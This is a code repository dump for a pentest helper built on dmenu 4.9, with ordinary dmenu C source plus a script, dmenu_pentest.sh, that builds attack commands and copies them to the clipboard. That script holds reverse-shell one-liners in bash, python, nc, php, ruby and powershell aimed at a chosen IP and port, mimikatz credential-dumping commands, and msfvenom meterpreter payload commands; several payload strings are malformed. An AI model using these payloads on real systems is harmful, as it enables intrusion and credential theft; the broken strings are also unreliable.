0; 396 | return drw_text(drw, 0, 0, 0, 0, 0, text, 0); 397 | } 398 | 399 | void 400 | drw_font_getexts(Fnt *font, const char *text, unsigned int len, unsigned int *w, unsigned int *h) 401 | { 402 | XGlyphInfo ext; 403 | 404 | if (!font || !text) 405 | return; 406 | 407 | XftTextExtentsUtf8(font->dpy, font->xfont, (XftChar8 *)text, len, &ext); 408 | if (w) 409 | *w = ext.xOff; 410 | if (h) 411 | *h = font->h; 412 | } 413 | 414 | Cur * 415 | drw_cur_create(Drw *drw, int shape) 416 | { 417 | Cur *cur; 418 | 419 | if (!drw || !(cur = ecalloc(1, sizeof(Cur)))) 420 | return NULL; 421 | 422 | cur->cursor = XCreateFontCursor(drw->dpy, shape); 423 | 424 | return cur; 425 | } 426 | 427 | void 428 | drw_cur_free(Drw *drw, Cur *cursor) 429 | { 430 | if (!cursor) 431 | return; 432 | 433 | XFreeCursor(drw->dpy, cursor->cursor); 434 | free(cursor); 435 | } 436 | -------------------------------------------------------------------------------- /dmenu-4.9/drw.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | 3 | typedef struct { 4 | Cursor cursor; 5 | } Cur; 6 | 7 | typedef struct Fnt { 8 | Display *dpy; 9 | unsigned int h; 10 | XftFont *xfont; 11 | FcPattern *pattern; 12 | struct Fnt *next; 13 | } Fnt; 14 | 15 | enum { ColFg, ColBg }; /* Clr scheme index */ 16 | typedef XftColor Clr; 17 | 18 | typedef struct { 19 | unsigned int w, h; 20 | Display *dpy; 21 | int screen; 22 | Window root; 23 | Drawable drawable; 24 | GC gc; 25 | Clr *scheme; 26 | Fnt *fonts; 27 | } Drw; 28 | 29 | /* Drawable abstraction */ 30 | Drw *drw_create(Display *dpy, int screen, Window win, unsigned int w, unsigned int h); 31 | void drw_resize(Drw *drw, unsigned int w, unsigned int h); 32 | void drw_free(Drw *drw); 33 | 34 | /* Fnt abstraction */ 35 | Fnt *drw_fontset_create(Drw* drw, const char *fonts[], size_t fontcount); 36 | void drw_fontset_free(Fnt* set); 37 | unsigned int drw_fontset_getwidth(Drw *drw, const char *text); 38 | void drw_font_getexts(Fnt *font, const char *text, unsigned int len, unsigned int *w, unsigned int *h); 39 | 40 | /* Colorscheme abstraction */ 41 | void drw_clr_create(Drw *drw, Clr *dest, const char *clrname); 42 | Clr *drw_scm_create(Drw *drw, const char *clrnames[], size_t clrcount); 43 | 44 | /* Cursor abstraction */ 45 | Cur *drw_cur_create(Drw *drw, int shape); 46 | void drw_cur_free(Drw *drw, Cur *cursor); 47 | 48 | /* Drawing context manipulation */ 49 | void drw_setfontset(Drw *drw, Fnt *set); 50 | void drw_setscheme(Drw *drw, Clr *scm); 51 | 52 | /* Drawing functions */ 53 | void drw_rect(Drw *drw, int x, int y, unsigned int w, unsigned int h, int filled, int invert); 54 | int drw_text(Drw *drw, int x, int y, unsigned int w, unsigned int h, unsigned int lpad, const char *text, int invert); 55 | 56 | /* Map functions */ 57 | void drw_map(Drw *drw, Window win, int x, int y, unsigned int w, unsigned int h); 58 | -------------------------------------------------------------------------------- /dmenu-4.9/stest.1: -------------------------------------------------------------------------------- 1 | .TH STEST 1 dmenu\-VERSION 2 | .SH NAME 3 | stest \- filter a list of files by properties 4 | .SH SYNOPSIS 5 | .B stest 6 | .RB [ -abcdefghlpqrsuwx ] 7 | .RB [ -n 8 | .IR file ] 9 | .RB [ -o 10 | .IR file ] 11 | .RI [ file ...] 12 | .SH DESCRIPTION 13 | .B stest 14 | takes a list of files and filters by the files' properties, analogous to 15 | .IR test (1). 16 | Files which pass all tests are printed to stdout. If no files are given, stest 17 | reads files from stdin. 18 | .SH OPTIONS 19 | .TP 20 | .B \-a 21 | Test hidden files. 22 | .TP 23 | .B \-b 24 | Test that files are block specials. 25 | .TP 26 | .B \-c 27 | Test that files are character specials. 28 | .TP 29 | .B \-d 30 | Test that files are directories. 31 | .TP 32 | .B \-e 33 | Test that files exist. 34 | .TP 35 | .B \-f 36 | Test that files are regular files. 37 | .TP 38 | .B \-g 39 | Test that files have their set-group-ID flag set. 40 | .TP 41 | .B \-h 42 | Test that files are symbolic links. 43 | .TP 44 | .B \-l 45 | Test the contents of a directory given as an argument. 46 | .TP 47 | .BI \-n " file" 48 | Test that files are newer than 49 | .IR file . 50 | .TP 51 | .BI \-o " file" 52 | Test that files are older than 53 | .IR file . 54 | .TP 55 | .B \-p 56 | Test that files are named pipes. 57 | .TP 58 | .B \-q 59 | No files are printed, only the exit status is returned. 60 | .TP 61 | .B \-r 62 | Test that files are readable. 63 | .TP 64 | .B \-s 65 | Test that files are not empty. 66 | .TP 67 | .B \-u 68 | Test that files have their set-user-ID flag set. 69 | .TP 70 | .B \-v 71 | Invert the sense of tests, only failing files pass. 72 | .TP 73 | .B \-w 74 | Test that files are writable. 75 | .TP 76 | .B \-x 77 | Test that files are executable. 78 | .SH EXIT STATUS 79 | .TP 80 | .B 0 81 | At least one file passed all tests. 82 | .TP 83 | .B 1 84 | No files passed all tests. 85 | .TP 86 | .B 2 87 | An error occurred. 88 | .SH SEE ALSO 89 | .IR dmenu (1), 90 | .IR test (1) 91 | -------------------------------------------------------------------------------- /dmenu-4.9/stest.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | #include 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "arg.h" 12 | char *argv0; 13 | 14 | #define FLAG(x) (flag[(x)-'a']) 15 | 16 | static void test(const char *, const char *); 17 | static void usage(void); 18 | 19 | static int match = 0; 20 | static int flag[26]; 21 | static struct stat old, new; 22 | 23 | static void 24 | test(const char *path, const char *name) 25 | { 26 | struct stat st, ln; 27 | 28 | if ((!stat(path, &st) && (FLAG('a') || name[0] != '.') /* hidden files */ 29 | && (!FLAG('b') || S_ISBLK(st.st_mode)) /* block special */ 30 | && (!FLAG('c') || S_ISCHR(st.st_mode)) /* character special */ 31 | && (!FLAG('d') || S_ISDIR(st.st_mode)) /* directory */ 32 | && (!FLAG('e') || access(path, F_OK) == 0) /* exists */ 33 | && (!FLAG('f') || S_ISREG(st.st_mode)) /* regular file */ 34 | && (!FLAG('g') || st.st_mode & S_ISGID) /* set-group-id flag */ 35 | && (!FLAG('h') || (!lstat(path, &ln) && S_ISLNK(ln.st_mode))) /* symbolic link */ 36 | && (!FLAG('n') || st.st_mtime > new.st_mtime) /* newer than file */ 37 | && (!FLAG('o') || st.st_mtime < old.st_mtime) /* older than file */ 38 | && (!FLAG('p') || S_ISFIFO(st.st_mode)) /* named pipe */ 39 | && (!FLAG('r') || access(path, R_OK) == 0) /* readable */ 40 | && (!FLAG('s') || st.st_size > 0) /* not empty */ 41 | && (!FLAG('u') || st.st_mode & S_ISUID) /* set-user-id flag */ 42 | && (!FLAG('w') || access(path, W_OK) == 0) /* writable */ 43 | && (!FLAG('x') || access(path, X_OK) == 0)) != FLAG('v')) { /* executable */ 44 | if (FLAG('q')) 45 | exit(0); 46 | match = 1; 47 | puts(name); 48 | } 49 | } 50 | 51 | static void 52 | usage(void) 53 | { 54 | fprintf(stderr, "usage: %s [-abcdefghlpqrsuvwx] " 55 | "[-n file] [-o file] [file...]\n", argv0); 56 | exit(2); /* like test(1) return > 1 on error */ 57 | } 58 | 59 | int 60 | main(int argc, char *argv[]) 61 | { 62 | struct dirent *d; 63 | char path[PATH_MAX], *line = NULL, *file; 64 | size_t linesiz = 0; 65 | ssize_t n; 66 | DIR *dir; 67 | int r; 68 | 69 | ARGBEGIN { 70 | case 'n': /* newer than file */ 71 | case 'o': /* older than file */ 72 | file = EARGF(usage()); 73 | if (!(FLAG(ARGC()) = !stat(file, (ARGC() == 'n' ? &new : &old)))) 74 | perror(file); 75 | break; 76 | default: 77 | /* miscellaneous operators */ 78 | if (strchr("abcdefghlpqrsuvwx", ARGC())) 79 | FLAG(ARGC()) = 1; 80 | else 81 | usage(); /* unknown flag */ 82 | } ARGEND; 83 | 84 | if (!argc) { 85 | /* read list from stdin */ 86 | while ((n = getline(&line, &linesiz, stdin)) > 0) { 87 | if (n && line[n - 1] == '\n') 88 | line[n - 1] = '\0'; 89 | test(line, line); 90 | } 91 | free(line); 92 | } else { 93 | for (; argc; argc--, argv++) { 94 | if (FLAG('l') && (dir = opendir(*argv))) { 95 | /* test directory contents */ 96 | while ((d = readdir(dir))) { 97 | r = snprintf(path, sizeof path, "%s/%s", 98 | *argv, d->d_name); 99 | if (r >= 0 && (size_t)r < sizeof path) 100 | test(path, d->d_name); 101 | } 102 | closedir(dir); 103 | } else { 104 | test(*argv, *argv); 105 | } 106 | } 107 | } 108 | return match ? 0 : 1; 109 | } 110 | -------------------------------------------------------------------------------- /dmenu-4.9/util.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "util.h" 8 | 9 | void * 10 | ecalloc(size_t nmemb, size_t size) 11 | { 12 | void *p; 13 | 14 | if (!(p = calloc(nmemb, size))) 15 | die("calloc:"); 16 | return p; 17 | } 18 | 19 | void 20 | die(const char *fmt, ...) { 21 | va_list ap; 22 | 23 | va_start(ap, fmt); 24 | vfprintf(stderr, fmt, ap); 25 | va_end(ap); 26 | 27 | if (fmt[0] && fmt[strlen(fmt)-1] == ':') { 28 | fputc(' ', stderr); 29 | perror(NULL); 30 | } else { 31 | fputc('\n', stderr); 32 | } 33 | 34 | exit(1); 35 | } 36 | -------------------------------------------------------------------------------- /dmenu-4.9/util.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | 3 | #define MAX(A, B) ((A) > (B) ? (A) : (B)) 4 | #define MIN(A, B) ((A) < (B) ? (A) : (B)) 5 | #define BETWEEN(X, A, B) ((A) <= (X) && (X) <= (B)) 6 | 7 | void die(const char *fmt, ...); 8 | void *ecalloc(size_t nmemb, size_t size); 9 | -------------------------------------------------------------------------------- /dmenu_pentest.sh: -------------------------------------------------------------------------------- 1 | #Author : Cipher007 2 | #Date : 17-05-2021 3 | #Mentor : p4p1 4 | #This script was created to enable us to do some of the recursive 5 | #tasks in a pentest without having to type it all the time! 6 | 7 | # Add a shortcut (Ctrl+D) for this script in the keyboard shortcuts for easy access. 8 | 9 | # ____ _ _ ___ ___ _____ 10 | # / ___(_)_ __ | |__ ___ _ __ / _ \ / _ \___ | 11 | # | | | | '_ \| '_ \ / _ \ '__| | | | | | | / / 12 | # | |___| | |_) | | | | __/ | | |_| | |_| |/ / 13 | # \____|_| .__/|_| |_|\___|_| \___/ \___//_/ 14 | # |_| 15 | 16 | #!/bin/bash 17 | 18 | main() 19 | { 20 | menu="shells\nTTY\nStabalize Shell\nApplications\nmsfvenom\nmimikatz" 21 | result=$(echo -e "$menu" | dmenu -c -l 10) 22 | 23 | case $result in 24 | "shells") 25 | func_shell 26 | ;; 27 | "TTY") 28 | func_tty 29 | ;; 30 | "Applications") 31 | func_apps 32 | ;; 33 | "mimikatz") 34 | func_mimikatz 35 | ;; 36 | "msfvenom") 37 | func_msfvenom 38 | ;; 39 | "Stabalize Shell") 40 | func_stabalize 41 | ;; 42 | esac 43 | } 44 | 45 | #--------XTE-AUTOMATION------- 46 | 47 | cmd() 48 | { 49 | xte "str $1" 50 | sleep 0.5 51 | xte "key Return" 52 | } 53 | 54 | ctrl() 55 | { 56 | xte "keydown Control_L" "key $1" "keyup Control_L" 57 | } 58 | 59 | #----------------------------- 60 | 61 | func_stabalize() 62 | { 63 | COLS=150 64 | ROWS=45 65 | cmd "python -c 'import pty;pty.spawn(\"/bin/bash\")' || python3 -c 'import pty;pty.spawn(\"/bin/bash\")'" 66 | ctrl Z 67 | cmd "stty raw -echo; fg" 68 | sleep 1 69 | cmd "stty rows $ROWS cols $COLS" 70 | cmd "export TERM=xterm" 71 | cmd "exec /bin/bash" 72 | } 73 | 74 | func_shell() 75 | { 76 | menu="bash\npython\nnc\npowershell\nphp\nruby" 77 | address=$(ifconfig | grep "inet " |sed -e 's/^[[:space:]]*//' | cut -d ' ' -f 2 | xargs | sed 's/ /\\n/g') 78 | ip=$(echo -e "$address" | dmenu -c -l 10) 79 | port=$(echo -e "" | dmenu -c -p port ) 80 | result=$(echo -e "$menu" | dmenu -c -l 10) 81 | case $result in 82 | "bash") 83 | payload="bash -c 'exec bash -i &>/dev/tcp/$ip/$port <&1'"; 84 | ;; 85 | "python") 86 | initial="/bin/sh"; 87 | payload="python -c 'import sys,socket,os,pty;s=socket.socket()s.connect((os.getenv("$ip"),int(os.getenv("$port"))))[os.dup2(s.fileno(),fd) for fd in (0,1,2)]pty.spawn("$initial")'"; 88 | ;; 89 | "nc") 90 | payload="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f"; 91 | ;; 92 | "php") 93 | initial="/bin/sh -i <&3 >&3 2>&3"; 94 | payload="php -r '$sock=fsockopen(getenv("$ip"),getenv("$port"));exec("$initial");'"; 95 | ;; 96 | "ruby") 97 | payload="ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["$ip"],ENV["$port"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'"; 98 | ;; 99 | "powershell") 100 | initial="\"\$client = New-Object System.Net.Sockets.TCPClient('$ip',$port);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\"" 101 | payload="powershell -nop -c $initial" 102 | cat $payload 103 | ;; 104 | esac 105 | echo -ne $payload | xclip -sel clip 106 | bash -c "notify-send 'dmenu_pentest' 'Shell copied to clipboard' -t 2" 107 | } 108 | 109 | func_tty() 110 | { 111 | menu="python\npython3\nos-system" 112 | result=$(echo -e "$menu" | dmenu -c -l 10) 113 | 114 | case $result in 115 | "python") 116 | payload="python -c 'import pty;pty.spawn(\"/bin/bash\")'" 117 | ;; 118 | "python3") 119 | payload="python3 -c 'import pty;pty.spawn(\"/bin/bash\")'" 120 | ;; 121 | "os-system") 122 | payload="echo os.system(\"/bin/bash\")" 123 | ;; 124 | esac 125 | echo -n $payload | xclip -sel clip 126 | } 127 | 128 | func_apps() 129 | { 130 | apps=$(dmenu_path) 131 | result=$(echo -ne "$apps" | dmenu -c -i -l 10 -p "Search") 132 | if [[ $result == "firefox" || $result == "burpsuite" ]] 133 | then 134 | $result & 135 | else 136 | if [[ $(whoami) == "root" ]] 137 | then 138 | $result & 139 | else 140 | option=$( echo -ne "Yes\nNo" | dmenu -i -c -l 10 -p "Run as root?" ) 141 | if [[ $option == "Yes" ]] 142 | then 143 | pass=$(echo -ne '' | dmenu -P -c -l 10 -p "Password" ) 144 | echo $pass | sudo -S $result 145 | else 146 | $result & 147 | fi 148 | fi 149 | fi 150 | } 151 | 152 | func_mimikatz() 153 | { 154 | menu="privilege\nlogonPasswords\nlsadump" 155 | result=$(echo -ne "$menu" | dmenu -c -i -l 10) 156 | case $result in 157 | "logonPasswords") 158 | payload="sekurlsa::logonPasswords" 159 | ;; 160 | "privilege") 161 | payload="privilege::debug" 162 | ;; 163 | "lsadump") 164 | payload="lsadump::sam" 165 | ;; 166 | esac 167 | echo -n $payload | xclip -sel clip 168 | bash -c "notify-send 'dmenu_pentest' 'mimikatz command copied to clipboard' -t 2" 169 | } 170 | 171 | func_msfvenom() 172 | { 173 | address=$(ifconfig | grep "inet " |sed -e 's/^[[:space:]]*//' | cut -d ' ' -f 2 | xargs | sed 's/ /\\n/g') 174 | ip=$(echo -e "$address" | dmenu -c -l 10) 175 | port=$(echo -e "" | dmenu -c -p port ) 176 | name=$(echo -ne '' | dmenu -c -i -l 10 -p "Filename") 177 | 178 | payload1="Windows\nLinux\nJava" 179 | payload2="x86\nx64" 180 | stages="stageless\nstaged" 181 | types="shell\nmeterpreter" 182 | tcp_type="reverse\nbind" 183 | pay1=$(echo -ne "$payload1" | dmenu -c -i -l 10) 184 | case $pay1 in 185 | "Windows") 186 | ext="exe" 187 | pay2=$(echo -ne "$payload2" | dmenu -c -i -l 10) 188 | case $pay2 in 189 | "x86") 190 | stage=$(echo -ne "$stages" | dmenu -c -i -l 10) 191 | case $stage in 192 | "staged") 193 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 194 | case $typ in 195 | "shell") 196 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 197 | case $tcp in 198 | "reverse") 199 | payload="windows/shell/reverse_tcp" 200 | ;; 201 | "bind") 202 | payload="windows/shell/bind/tcp" 203 | ;; 204 | esac 205 | ;; 206 | "meterpreter") 207 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 208 | case $tcp in 209 | "reverse") 210 | payload="windows/meterpreter/reverse_tcp" 211 | ;; 212 | "bind") 213 | payload="windows/meterpreter/bind_tcp" 214 | ;; 215 | esac 216 | ;; 217 | esac 218 | ;; 219 | "stageless") 220 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 221 | case $typ in 222 | "shell") 223 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 224 | case $tcp in 225 | "reverse") 226 | payload="windows/shell_reverse_tcp" 227 | ;; 228 | "bind") 229 | payload="windows/shell_bind/tcp" 230 | ;; 231 | esac 232 | ;; 233 | "meterpreter") 234 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 235 | case $tcp in 236 | "reverse") 237 | payload="windows/meterpreter_reverse_tcp" 238 | ;; 239 | "bind") 240 | payload="windows/meterpreter/bind_tcp" 241 | ;; 242 | esac 243 | ;; 244 | esac 245 | ;; 246 | esac 247 | ;; 248 | "x64") 249 | stage=$(echo -ne "$stages" | dmenu -c -i -l 10) 250 | case $stage in 251 | "staged") 252 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 253 | case $typ in 254 | "shell") 255 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 256 | case $tcp in 257 | "reverse") 258 | payload="windows/x64/shell/reverse_tcp" 259 | ;; 260 | "bind") 261 | payload="windows/x64/shell/bind/tcp" 262 | ;; 263 | esac 264 | ;; 265 | "meterpreter") 266 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 267 | case $tcp in 268 | "reverse") 269 | payload="windows/x64/meterpreter/reverse_tcp" 270 | ;; 271 | "bind") 272 | payload="windows/x64/meterpreter/bind_tcp" 273 | ;; 274 | esac 275 | ;; 276 | esac 277 | ;; 278 | "stageless") 279 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 280 | case $typ in 281 | "shell") 282 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 283 | case $tcp in 284 | "reverse") 285 | payload="windows/x64/shell_reverse_tcp" 286 | ;; 287 | "bind") 288 | payload="windows/x64/shell_bind/tcp" 289 | ;; 290 | esac 291 | ;; 292 | "meterpreter") 293 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 294 | case $tcp in 295 | "reverse") 296 | payload="windows/x64/meterpreter_reverse_tcp" 297 | ;; 298 | "bind") 299 | payload="windows/x64/meterpreter/bind_tcp" 300 | ;; 301 | esac 302 | ;; 303 | esac 304 | ;; 305 | esac 306 | ;; 307 | esac 308 | ;; 309 | "Linux") 310 | ext="elf" 311 | pay2=$(echo -ne "$payload2" | dmenu -c -i -l 10) 312 | case $pay2 in 313 | "x86") 314 | stage=$(echo -ne "$stages" | dmenu -c -i -l 10) 315 | case $stage in 316 | "staged") 317 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 318 | case $typ in 319 | "shell") 320 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 321 | case $tcp in 322 | "reverse") 323 | payload="linux/x86/reverse_tcp" 324 | ;; 325 | "bind") 326 | payload="linux/x86/shell/bind/tcp" 327 | ;; 328 | esac 329 | ;; 330 | "meterpreter") 331 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 332 | case $tcp in 333 | "reverse") 334 | payload="linux/x86/meterpreter/reverse_tcp" 335 | ;; 336 | "bind") 337 | payload="linux/x86/meterpreter/bind_tcp" 338 | ;; 339 | esac 340 | ;; 341 | esac 342 | ;; 343 | "stageless") 344 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 345 | case $typ in 346 | "shell") 347 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 348 | case $tcp in 349 | "reverse") 350 | payload="linux/x86/shell_reverse_tcp" 351 | ;; 352 | "bind") 353 | payload="linux/86/shell_bind/tcp" 354 | ;; 355 | esac 356 | ;; 357 | "meterpreter") 358 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 359 | case $tcp in 360 | "reverse") 361 | payload="linux/x86/meterpreter_reverse_tcp" 362 | ;; 363 | "bind") 364 | payload="linux/86/meterpreter/bind_tcp" 365 | ;; 366 | esac 367 | ;; 368 | esac 369 | ;; 370 | esac 371 | ;; 372 | "x64") 373 | stage=$(echo -ne "$stages" | dmenu -c -i -l 10) 374 | case $stage in 375 | "staged") 376 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 377 | case $typ in 378 | "shell") 379 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 380 | case $tcp in 381 | "reverse") 382 | payload="linux/x64/shell/reverse_tcp" 383 | ;; 384 | "bind") 385 | payload="linux/x64/shell/bind/tcp" 386 | ;; 387 | esac 388 | ;; 389 | "meterpreter") 390 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 391 | case $tcp in 392 | "reverse") 393 | payload="linux/x64/meterpreter/reverse_tcp" 394 | ;; 395 | "bind") 396 | payload="linux/x64/meterpreter/bind_tcp" 397 | ;; 398 | esac 399 | ;; 400 | esac 401 | ;; 402 | "stageless") 403 | typ=$(echo -ne "$types" | dmenu -c -i -l 10) 404 | case $typ in 405 | "shell") 406 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 407 | case $tcp in 408 | "reverse") 409 | payload="linux/x64/shell_reverse_tcp" 410 | ;; 411 | "bind") 412 | payload="linux/x64/shell_bind/tcp" 413 | ;; 414 | esac 415 | ;; 416 | "meterpreter") 417 | tcp=$(echo -ne "$tcp_type" | dmenu -c -i -l 10) 418 | case $tcp in 419 | "reverse") 420 | payload="linux/x64/meterpreter_reverse_tcp" 421 | ;; 422 | "bind") 423 | payload="linux/x64/meterpreter/bind_tcp" 424 | ;; 425 | esac 426 | ;; 427 | esac 428 | ;; 429 | esac 430 | ;; 431 | esac 432 | ;; 433 | "Java") 434 | payload="java/jsp_shell_reverse_tcp" 435 | ext="raw" 436 | ;; 437 | esac 438 | 439 | if [ $pay1 == "Java" ] 440 | then 441 | 442 | final_payload="msfvenom -p $payload LHOST=$ip LPORT=$port -f $ext -o $name.jsp" 443 | else 444 | final_payload="msfvenom -p $payload LHOST=$ip LPORT=$port -f $ext -o $name.$ext" 445 | fi 446 | echo $final_payload | xclip -sel clip 447 | bash -c "notify-send 'dmenu_pentest' 'msfvenom payload command copied to clipboard' -t 2" 448 | } 449 | 450 | main $@ 451 | -------------------------------------------------------------------------------- /images/app.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/dmenu_pentest/74801848d11dc62c252ad781ff480057fe180c62/images/app.gif -------------------------------------------------------------------------------- /images/msfvenom.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/dmenu_pentest/74801848d11dc62c252ad781ff480057fe180c62/images/msfvenom.gif -------------------------------------------------------------------------------- /images/shell.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/dmenu_pentest/74801848d11dc62c252ad781ff480057fe180c62/images/shell.gif -------------------------------------------------------------------------------- /images/stabalize.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/dmenu_pentest/74801848d11dc62c252ad781ff480057fe180c62/images/stabalize.gif -------------------------------------------------------------------------------- /images/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/dmenu_pentest/74801848d11dc62c252ad781ff480057fe180c62/images/start.png -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This file installs the script and all the dependencies 4 | 5 | if [ "$EUID" -ne 0 ]; then 6 | sudo bash $0 7 | exit 8 | fi 9 | 10 | apt-get install -y xclip xautomation libx11-dev libxinerama-dev libxft-dev git 11 | cd dmenu-4.9/ && make clean install && cd .. 12 | chmod +x dmenu_pentest.sh 13 | -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$EUID" -ne 0 ]; then 4 | sudo bash $0 5 | exit 6 | fi 7 | 8 | sudo git pull 9 | sudo ./install.sh 10 | bash -c "notify-send 'dmenu_pentest' 'Update successful!' -t 1" 11 | --------------------------------------------------------------------------------